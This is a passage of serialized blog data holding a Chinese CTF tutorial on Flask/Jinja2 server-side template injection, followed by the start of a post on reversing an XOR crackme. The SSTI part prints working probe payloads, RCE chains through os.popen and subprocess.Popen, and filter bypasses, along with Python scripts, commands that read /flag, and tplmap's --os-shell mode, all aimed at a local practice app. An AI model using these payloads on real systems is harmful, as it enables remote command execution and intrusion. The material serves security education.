\"http://127.0.0.1:5000/?name=alice\"\n",[30,5845,5846],{"__ignoreMap":28},[33,5847,5848,5850,5852,5855],{"class":35,"line":36},[33,5849,4482],{"class":39},[33,5851,4485],{"class":412},[33,5853,5854],{"class":43},"http://127.0.0.1:5000/?name=alice",[33,5856,4491],{"class":412},[16,5858,169],{},[23,5860,5864],{"className":5861,"code":5862,"language":5863,"meta":28,"style":28},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[30,5865,5866],{"__ignoreMap":28},[33,5867,5868,5871,5874,5877,5879],{"class":35,"line":36},[33,5869,5870],{"class":63},"\u003C",[33,5872,5873],{"class":56},"h1",[33,5875,5876],{"class":63},">Hello, alice!\u003C/",[33,5878,5873],{"class":56},[33,5880,67],{"class":63},[147,5882,5884],{"id":5883},"_32-表达式求值","3.2 表达式求值",[23,5886,5888],{"className":25,"code":5887,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[30,5889,5890],{"__ignoreMap":28},[33,5891,5892,5894,5896,5899],{"class":35,"line":36},[33,5893,4482],{"class":39},[33,5895,4485],{"class":412},[33,5897,5898],{"class":43},"http://127.0.0.1:5000/?name={{7*7}}",[33,5900,4491],{"class":412},[16,5902,169],{},[23,5904,5906],{"className":5861,"code":5905,"language":5863,"meta":28,"style":28},"\u003Ch1>Hello, 49!\u003C/h1>\n",[30,5907,5908],{"__ignoreMap":28},[33,5909,5910,5912,5914,5917,5919],{"class":35,"line":36},[33,5911,5870],{"class":63},[33,5913,5873],{"class":56},[33,5915,5916],{"class":63},">Hello, 49!\u003C/",[33,5918,5873],{"class":56},[33,5920,67],{"class":63},[16,5922,5923,5926,5927,5930],{},[30,5924,5925],{},"7*7"," 被求值成 ",[30,5928,5929],{},"49","，说明模板表达式生效，SSTI 成立。",[147,5932,5934],{"id":5933},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[490,5936,5937,5950],{},[493,5938,5939],{},[496,5940,5941,5944,5947],{},[499,5942,5943],{},"引擎",[499,5945,5946],{},"语言",[499,5948,5949],{},"探测 payload",[506,5951,5952,5964,5977,5989],{},[496,5953,5954,5957,5960],{},[511,5955,5956],{},"Jinja2 / Twig",[511,5958,5959],{},"Python / PHP",[511,5961,5962],{},[30,5963,5835],{},[496,5965,5966,5969,5972],{},[511,5967,5968],{},"Freemarker",[511,5970,5971],{},"Java",[511,5973,5974],{},[30,5975,5976],{},"${7*7}",[496,5978,5979,5982,5984],{},[511,5980,5981],{},"Velocity",[511,5983,5971],{},[511,5985,5986],{},[30,5987,5988],{},"#set($x=7*7)$x",[496,5990,5991,5994,5997],{},[511,5992,5993],{},"Smarty",[511,5995,5996],{},"PHP",[511,5998,5999],{},[30,6000,6001],{},"{$smarty.version}",[11,6003,6005],{"id":6004},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[16,6007,6008,6010],{},[136,6009,138],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[16,6012,6013,6015,6016,6019,6020,264,6023,264,6026,6029,6030,6033,6034,6036,6037,6040,6041,301],{},[136,6014,144],{},"：模板只能访问少量对象（如 ",[30,6017,6018],{},"config","）。Python 对象有 ",[30,6021,6022],{},"__class__",[30,6024,6025],{},"__init__",[30,6027,6028],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[30,6031,6032],{},"os"," 模块。验证方式：先执行 ",[30,6035,4457],{},"，输出 ",[30,6038,6039],{},"uid=..."," 即成功，再换 ",[30,6042,6043],{},"cat /flag",[16,6045,6046,6047,6049,6050,6052],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[30,6048,6018],{}," 对象，沿 Python 内部属性找到 ",[30,6051,6032],{}," 模块。",[147,6054,6056],{"id":6055},"_41-分步理解","4.1 分步理解",[23,6058,6061],{"className":6059,"code":6060,"language":175,"meta":28},[173],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[30,6062,6060],{"__ignoreMap":28},[147,6064,6066],{"id":6065},"_42-完整-payload","4.2 完整 payload",[23,6068,6071],{"className":6069,"code":6070,"language":175,"meta":28},[173],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[30,6072,6070],{"__ignoreMap":28},[16,6074,6075],{},"用 curl 发送：",[23,6077,6079],{"className":25,"code":6078,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[30,6080,6081],{"__ignoreMap":28},[33,6082,6083,6085,6087,6090],{"class":35,"line":36},[33,6084,4482],{"class":39},[33,6086,4485],{"class":412},[33,6088,6089],{"class":43},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[33,6091,4491],{"class":412},[16,6093,169],{},[23,6095,6097],{"className":5861,"code":6096,"language":5863,"meta":28,"style":28},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[30,6098,6099],{"__ignoreMap":28},[33,6100,6101,6103,6105,6108,6110],{"class":35,"line":36},[33,6102,5870],{"class":63},[33,6104,5873],{"class":56},[33,6106,6107],{"class":63},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[33,6109,5873],{"class":56},[33,6111,67],{"class":63},[16,6113,6114],{},"命令执行成功。读 flag：",[23,6116,6118],{"className":25,"code":6117,"language":27,"meta":28,"style":28},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[30,6119,6120],{"__ignoreMap":28},[33,6121,6122,6124,6126,6129],{"class":35,"line":36},[33,6123,4482],{"class":39},[33,6125,4485],{"class":412},[33,6127,6128],{"class":43},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[33,6130,4491],{"class":412},[16,6132,169],{},[23,6134,6136],{"className":5861,"code":6135,"language":5863,"meta":28,"style":28},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[30,6137,6138],{"__ignoreMap":28},[33,6139,6140,6142,6144,6147,6149],{"class":35,"line":36},[33,6141,5870],{"class":63},[33,6143,5873],{"class":56},[33,6145,6146],{"class":63},">Hello, flag{ssti_rce}!\u003C/",[33,6148,5873],{"class":56},[33,6150,67],{"class":63},[16,6152,6153,561,6161,6163],{},[136,6154,6155,6156,6158,6159],{},"为什么先试 ",[30,6157,4457],{}," 再试 ",[30,6160,6043],{},[30,6162,4457],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[147,6165,6167,6168,6171],{"id":6166},"_43-备选链subclasses-扫描","4.3 备选链：",[136,6169,6170],{},"subclasses"," 扫描",[16,6173,6174,6176,6177,6179,6180,301],{},[136,6175,138],{},"：当 ",[30,6178,6018],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[30,6181,6182],{},"subprocess.Popen",[16,6184,6185,6187,6188,561],{},[30,6186,6018],{}," 链不可用时，从字符串对象出发找 ",[30,6189,6182],{},[23,6191,6194],{"className":6192,"code":6193,"language":175,"meta":28},[173],"''.__class__.__mro__[1].__subclasses__()\n",[30,6195,6193],{"__ignoreMap":28},[16,6197,6198],{},"先用 Python 脚本找下标：",[23,6200,6202],{"className":1238,"code":6201,"language":1240,"meta":28,"style":28},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[30,6203,6204,6209,6213,6218,6223,6228,6233,6238,6243,6248,6253,6258,6263,6268,6273],{"__ignoreMap":28},[33,6205,6206],{"class":35,"line":36},[33,6207,6208],{},"import requests\n",[33,6210,6211],{"class":35,"line":47},[33,6212,1460],{"emptyLinePlaceholder":1373},[33,6214,6215],{"class":35,"line":70},[33,6216,6217],{},"url = \"http://127.0.0.1:5000/\"\n",[33,6219,6220],{"class":35,"line":80},[33,6221,6222],{},"for i in range(500):\n",[33,6224,6225],{"class":35,"line":452},[33,6226,6227],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[33,6229,6230],{"class":35,"line":458},[33,6231,6232],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[33,6234,6235],{"class":35,"line":464},[33,6236,6237],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[33,6239,6240],{"class":35,"line":470},[33,6241,6242],{},"    # .__mro__[1]：继承链上的 object 类；\n",[33,6244,6245],{"class":35,"line":476},[33,6246,6247],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[33,6249,6250],{"class":35,"line":482},[33,6251,6252],{},"    # .__name__：该类的名字，会渲染到页面。\n",[33,6254,6255],{"class":35,"line":1295},[33,6256,6257],{},"    r = requests.get(url, params={\"name\": payload})\n",[33,6259,6260],{"class":35,"line":1301},[33,6261,6262],{},"    if \"Popen\" in r.text:\n",[33,6264,6265],{"class":35,"line":1505},[33,6266,6267],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[33,6269,6270],{"class":35,"line":1511},[33,6271,6272],{},"        print(\"Popen index:\", i)\n",[33,6274,6275],{"class":35,"line":1517},[33,6276,2672],{},[16,6278,169,6279,6282],{},[30,6280,6281],{},"Popen index: 258","（数字因 Python 版本而异）。",[16,6284,6285],{},"然后利用：",[23,6287,6290],{"className":6288,"code":6289,"language":175,"meta":28},[173],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[30,6291,6289],{"__ignoreMap":28},[11,6293,6295],{"id":6294},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[16,6297,6298,6300,6301,264,6304,6307],{},[136,6299,138],{},"：题目过滤 ",[30,6302,6303],{},".",[30,6305,6306],{},"[]","、关键词时，用等价写法表达同样的调用。",[16,6309,6310,6312,6313,6316],{},[136,6311,144],{},"：点号访问可以用 Jinja2 的 ",[30,6314,6315],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[16,6318,6319,6320,264,6322,264,6325,6328],{},"题目常过滤 ",[30,6321,6303],{},[30,6323,6324],{},"[",[30,6326,6327],{},"]"," 或关键词。",[147,6330,6332],{"id":6331},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[23,6334,6337],{"className":6335,"code":6336,"language":175,"meta":28},[173],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[30,6338,6336],{"__ignoreMap":28},[147,6340,6342],{"id":6341},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[23,6344,6347],{"className":6345,"code":6346,"language":175,"meta":28},[173],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[30,6348,6346],{"__ignoreMap":28},[16,6350,6351,6352,264,6354,6357],{},"模板里不再出现 ",[30,6353,6032],{},[30,6355,6356],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[11,6359,1038],{"id":1037},[147,6361,6363],{"id":6362},"工具-1curl","工具 1：curl",[23,6365,6367],{"className":25,"code":6366,"language":27,"meta":28,"style":28},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[30,6368,6369,6383],{"__ignoreMap":28},[33,6370,6371,6373,6375,6378,6380],{"class":35,"line":36},[33,6372,4482],{"class":39},[33,6374,4485],{"class":412},[33,6376,6377],{"class":43},"http://target/?name={{7*7}}",[33,6379,5125],{"class":412},[33,6381,6382],{"class":1576},"          # 探测\n",[33,6384,6385,6387,6390,6392,6395,6397,6400,6402,6405,6407],{"class":35,"line":47},[33,6386,4482],{"class":39},[33,6388,6389],{"class":241}," -G",[33,6391,4485],{"class":412},[33,6393,6394],{"class":43},"http://target/",[33,6396,5125],{"class":412},[33,6398,6399],{"class":241}," --data-urlencode",[33,6401,4485],{"class":412},[33,6403,6404],{"class":43},"name={{...}}",[33,6406,5125],{"class":412},[33,6408,6409],{"class":1576},"   # 自动 URL 编码\n",[147,6411,6413],{"id":6412},"工具-2requests","工具 2：requests",[23,6415,6417],{"className":1238,"code":6416,"language":1240,"meta":28,"style":28},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[30,6418,6419,6423,6427,6432,6437,6442,6447,6452],{"__ignoreMap":28},[33,6420,6421],{"class":35,"line":36},[33,6422,6208],{},[33,6424,6425],{"class":35,"line":47},[33,6426,1460],{"emptyLinePlaceholder":1373},[33,6428,6429],{"class":35,"line":70},[33,6430,6431],{},"url = \"http://target/\"\n",[33,6433,6434],{"class":35,"line":80},[33,6435,6436],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[33,6438,6439],{"class":35,"line":452},[33,6440,6441],{},"r = requests.get(url, params={\"name\": payload})\n",[33,6443,6444],{"class":35,"line":458},[33,6445,6446],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[33,6448,6449],{"class":35,"line":464},[33,6450,6451],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[33,6453,6454],{"class":35,"line":470},[33,6455,6456],{},"print(r.text)\n",[16,6458,6459,6462],{},[30,6460,6461],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[147,6464,6466],{"id":6465},"工具-3tplmap","工具 3：tplmap",[16,6468,6469],{},"模板注入自动化工具：",[23,6471,6473],{"className":25,"code":6472,"language":27,"meta":28,"style":28},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[30,6474,6475,6484,6503,6522],{"__ignoreMap":28},[33,6476,6477,6479,6481],{"class":35,"line":36},[33,6478,4309],{"class":39},[33,6480,4312],{"class":43},[33,6482,6483],{"class":43}," https://github.com/epinna/tplmap\n",[33,6485,6486,6488,6491,6493,6495,6497,6500],{"class":35,"line":47},[33,6487,771],{"class":770},[33,6489,6490],{"class":43}," tplmap",[33,6492,781],{"class":63},[33,6494,2711],{"class":39},[33,6496,106],{"class":43},[33,6498,6499],{"class":241}," -r",[33,6501,6502],{"class":43}," requirements.txt\n",[33,6504,6505,6507,6510,6512,6514,6517,6519],{"class":35,"line":70},[33,6506,1240],{"class":39},[33,6508,6509],{"class":43}," tplmap.py",[33,6511,5118],{"class":241},[33,6513,4485],{"class":412},[33,6515,6516],{"class":43},"http://target/?name=*",[33,6518,5125],{"class":412},[33,6520,6521],{"class":1576},"          # * 是注入点标记\n",[33,6523,6524,6526,6528,6530,6532,6534,6536],{"class":35,"line":80},[33,6525,1240],{"class":39},[33,6527,6509],{"class":43},[33,6529,5118],{"class":241},[33,6531,4485],{"class":412},[33,6533,6516],{"class":43},[33,6535,5125],{"class":412},[33,6537,6538],{"class":241}," --os-shell\n",[11,6540,6542],{"id":6541},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[16,6544,1136,6545,6548,6549,301],{},[30,6546,6547],{},"http://target/?name="," 存在 SSTI，flag 在 ",[30,6550,6551],{},"/flag",[147,6553,6555],{"id":6554},"第一步探测","第一步：探测",[16,6557,6558,6560],{},[136,6559,138],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[23,6562,6564],{"className":25,"code":6563,"language":27,"meta":28,"style":28},"curl \"http://target/?name={{7*7}}\"\n",[30,6565,6566],{"__ignoreMap":28},[33,6567,6568,6570,6572,6574],{"class":35,"line":36},[33,6569,4482],{"class":39},[33,6571,4485],{"class":412},[33,6573,6377],{"class":43},[33,6575,4491],{"class":412},[16,6577,6578,6579,6581],{},"响应含 ",[30,6580,5929],{}," → 确认。",[147,6583,6585],{"id":6584},"第二步直接打","第二步：直接打",[16,6587,6588,6590,6591,6594,6595,6597,6598,6600],{},[136,6589,144],{},"：先 ",[30,6592,6593],{},"config.__globals__"," 链试 ",[30,6596,6043],{},"；如果响应没出现 flag 内容，先改用 ",[30,6599,4457],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[23,6602,6604],{"className":1238,"code":6603,"language":1240,"meta":28,"style":28},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[30,6605,6606,6610,6614,6618,6622,6626],{"__ignoreMap":28},[33,6607,6608],{"class":35,"line":36},[33,6609,6208],{},[33,6611,6612],{"class":35,"line":47},[33,6613,1460],{"emptyLinePlaceholder":1373},[33,6615,6616],{"class":35,"line":70},[33,6617,6431],{},[33,6619,6620],{"class":35,"line":80},[33,6621,6436],{},[33,6623,6624],{"class":35,"line":452},[33,6625,6441],{},[33,6627,6628],{"class":35,"line":458},[33,6629,6456],{},[16,6631,6632],{},"预期输出中出现：",[23,6634,6637],{"className":6635,"code":6636,"language":175,"meta":28},[173],"flag{ssti_rce}\n",[30,6638,6636],{"__ignoreMap":28},[147,6640,6642],{"id":6641},"第三步被过滤时","第三步：被过滤时",[16,6644,6645,6647,6648,6650],{},[136,6646,144],{},"：把点号换成 ",[30,6649,6315],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[16,6652,6653],{},"改用 attr 与 request.args 组合：",[23,6655,6658],{"className":6656,"code":6657,"language":175,"meta":28},[173],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[30,6659,6657],{"__ignoreMap":28},[11,6661,1337],{"id":1336},[16,6663,6664,6665,2303,6667,6670,6671,1125,6673,6676],{},"SSTI 主线：探测 ",[30,6666,5835],{},[30,6668,6669],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[30,6672,6315],{},[30,6674,6675],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1350,6678,6679],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":28,"searchDepth":47,"depth":47,"links":6681},[6682,6683,6684,6685,6686,6687,6688,6689],{"id":5648,"depth":70,"text":5649},{"id":5727,"depth":70,"text":5728},{"id":5817,"depth":70,"text":5818},{"id":6004,"depth":70,"text":6005},{"id":6294,"depth":70,"text":6295},{"id":1037,"depth":70,"text":1038},{"id":6541,"depth":70,"text":6542},{"id":1336,"depth":70,"text":1337},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1366,"image":6692,"alt":6693,"tags":6694,"published":1373},"/blogs-img/blog6.png","SSTI 深入实战",[1370,5635,6695,1372],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":5643,"description":6690},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":6701,"title":6702,"body":6703,"description":7643,"extension":1364,"meta":7644,"navigation":1373,"ogImage":7645,"path":7648,"seo":7649,"stem":7650,"__hash__":7651},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":8,"value":6704,"toc":7632},[6705,6709,6712,6716,6722,6906,6909,6926,6929,6938,6943,6955,6959,6961,6966,6979,6983,6994,6997,7003,7008,7012,7023,7037,7039,7045,7054,7058,7063,7078,7080,7111,7113,7142,7149,7153,7185,7188,7213,7217,7220,7270,7275,7277,7285,7288,7294,7296,7308,7322,7324,7329,7338,7340,7345,7348,7363,7365,7371,7374,7378,7383,7400,7460,7462,7474,7476,7481,7484,7494,7498,7502,7585,7589,7620,7622,7629],[11,6706,6708],{"id":6707},"一现实背景注册码校验","一、现实背景：注册码校验",[16,6710,6711],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[11,6713,6715],{"id":6714},"二题目源码与编译","二、题目源码与编译",[16,6717,6718,6719,561],{},"出题人视角的 ",[30,6720,6721],{},"crackme.c",[23,6723,6725],{"className":816,"code":6724,"language":818,"meta":28,"style":28},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[30,6726,6727,6731,6736,6740,6745,6750,6755,6760,6765,6770,6775,6780,6785,6790,6795,6800,6805,6810,6815,6820,6825,6830,6835,6839,6843,6848,6853,6858,6863,6868,6873,6878,6883,6888,6893,6898,6902],{"__ignoreMap":28},[33,6728,6729],{"class":35,"line":36},[33,6730,1450],{},[33,6732,6733],{"class":35,"line":47},[33,6734,6735],{},"#include \u003Cstring.h>\n",[33,6737,6738],{"class":35,"line":70},[33,6739,1460],{"emptyLinePlaceholder":1373},[33,6741,6742],{"class":35,"line":80},[33,6743,6744],{},"int check(const char *input) {\n",[33,6746,6747],{"class":35,"line":452},[33,6748,6749],{},"    char key[] = \"k3y\";\n",[33,6751,6752],{"class":35,"line":458},[33,6753,6754],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[33,6756,6757],{"class":35,"line":464},[33,6758,6759],{},"    unsigned char enc[] = {\n",[33,6761,6762],{"class":35,"line":470},[33,6763,6764],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[33,6766,6767],{"class":35,"line":476},[33,6768,6769],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[33,6771,6772],{"class":35,"line":482},[33,6773,6774],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[33,6776,6777],{"class":35,"line":1295},[33,6778,6779],{},"    };\n",[33,6781,6782],{"class":35,"line":1301},[33,6783,6784],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[33,6786,6787],{"class":35,"line":1505},[33,6788,6789],{},"    int n = strlen(input);\n",[33,6791,6792],{"class":35,"line":1511},[33,6793,6794],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[33,6796,6797],{"class":35,"line":1517},[33,6798,6799],{},"    if (n != 24) return 0;\n",[33,6801,6802],{"class":35,"line":1523},[33,6803,6804],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[33,6806,6807],{"class":35,"line":1529},[33,6808,6809],{},"    for (int i = 0; i \u003C n; i++)\n",[33,6811,6812],{"class":35,"line":1535},[33,6813,6814],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[33,6816,6817],{"class":35,"line":1541},[33,6818,6819],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[33,6821,6822],{"class":35,"line":2981},[33,6823,6824],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[33,6826,6827],{"class":35,"line":2987},[33,6828,6829],{},"    return 1;\n",[33,6831,6832],{"class":35,"line":2993},[33,6833,6834],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[33,6836,6837],{"class":35,"line":2999},[33,6838,1475],{},[33,6840,6841],{"class":35,"line":3005},[33,6842,1460],{"emptyLinePlaceholder":1373},[33,6844,6845],{"class":35,"line":3770},[33,6846,6847],{},"int main(int argc, char **argv) {\n",[33,6849,6850],{"class":35,"line":3775},[33,6851,6852],{},"    if (argc != 2) {\n",[33,6854,6855],{"class":35,"line":3781},[33,6856,6857],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[33,6859,6860],{"class":35,"line":3787},[33,6861,6862],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[33,6864,6865],{"class":35,"line":3792},[33,6866,6867],{},"        return 1;\n",[33,6869,6870],{"class":35,"line":3798},[33,6871,6872],{},"    }\n",[33,6874,6875],{"class":35,"line":3804},[33,6876,6877],{},"    if (check(argv[1]))\n",[33,6879,6880],{"class":35,"line":3810},[33,6881,6882],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[33,6884,6885],{"class":35,"line":3816},[33,6886,6887],{},"        puts(\"Correct!\");\n",[33,6889,6890],{"class":35,"line":3821},[33,6891,6892],{},"    else\n",[33,6894,6895],{"class":35,"line":3827},[33,6896,6897],{},"        puts(\"Wrong!\");\n",[33,6899,6900],{"class":35,"line":3833},[33,6901,1538],{},[33,6903,6904],{"class":35,"line":3839},[33,6905,1475],{},[16,6907,6908],{},"编译（解题时只有二进制，没有源码）：",[23,6910,6912],{"className":25,"code":6911,"language":27,"meta":28,"style":28},"gcc -o crackme crackme.c\n",[30,6913,6914],{"__ignoreMap":28},[33,6915,6916,6918,6920,6923],{"class":35,"line":36},[33,6917,1556],{"class":39},[33,6919,1559],{"class":241},[33,6921,6922],{"class":43}," crackme",[33,6924,6925],{"class":43}," crackme.c\n",[16,6927,6928],{},"运行确认行为：",[23,6930,6932],{"className":25,"code":6931,"language":27,"meta":28,"style":28},"./crackme\n",[30,6933,6934],{"__ignoreMap":28},[33,6935,6936],{"class":35,"line":36},[33,6937,6931],{"class":39},[16,6939,298,6940,301],{},[30,6941,6942],{},"Usage: ./crackme \u003Cflag>",[23,6944,6946],{"className":25,"code":6945,"language":27,"meta":28,"style":28},"./crackme wrongflag123456789012\n",[30,6947,6948],{"__ignoreMap":28},[33,6949,6950,6952],{"class":35,"line":36},[33,6951,1326],{"class":39},[33,6953,6954],{"class":43}," wrongflag123456789012\n",[16,6956,298,6957,301],{},[30,6958,270],{},[11,6960,132],{"id":131},[16,6962,6963,6965],{},[136,6964,138],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[16,6967,6968,561,6970,6972,6973,6975,6976,6978],{},[136,6969,144],{},[30,6971,209],{}," 能看到 ",[30,6974,274],{}," 这样的短密钥（需要 ",[30,6977,278],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[147,6980,6982],{"id":6981},"_31-file","3.1 file",[23,6984,6986],{"className":25,"code":6985,"language":27,"meta":28,"style":28},"file crackme\n",[30,6987,6988],{"__ignoreMap":28},[33,6989,6990,6992],{"class":35,"line":36},[33,6991,163],{"class":39},[33,6993,1178],{"class":43},[16,6995,6996],{},"预期输出（Linux 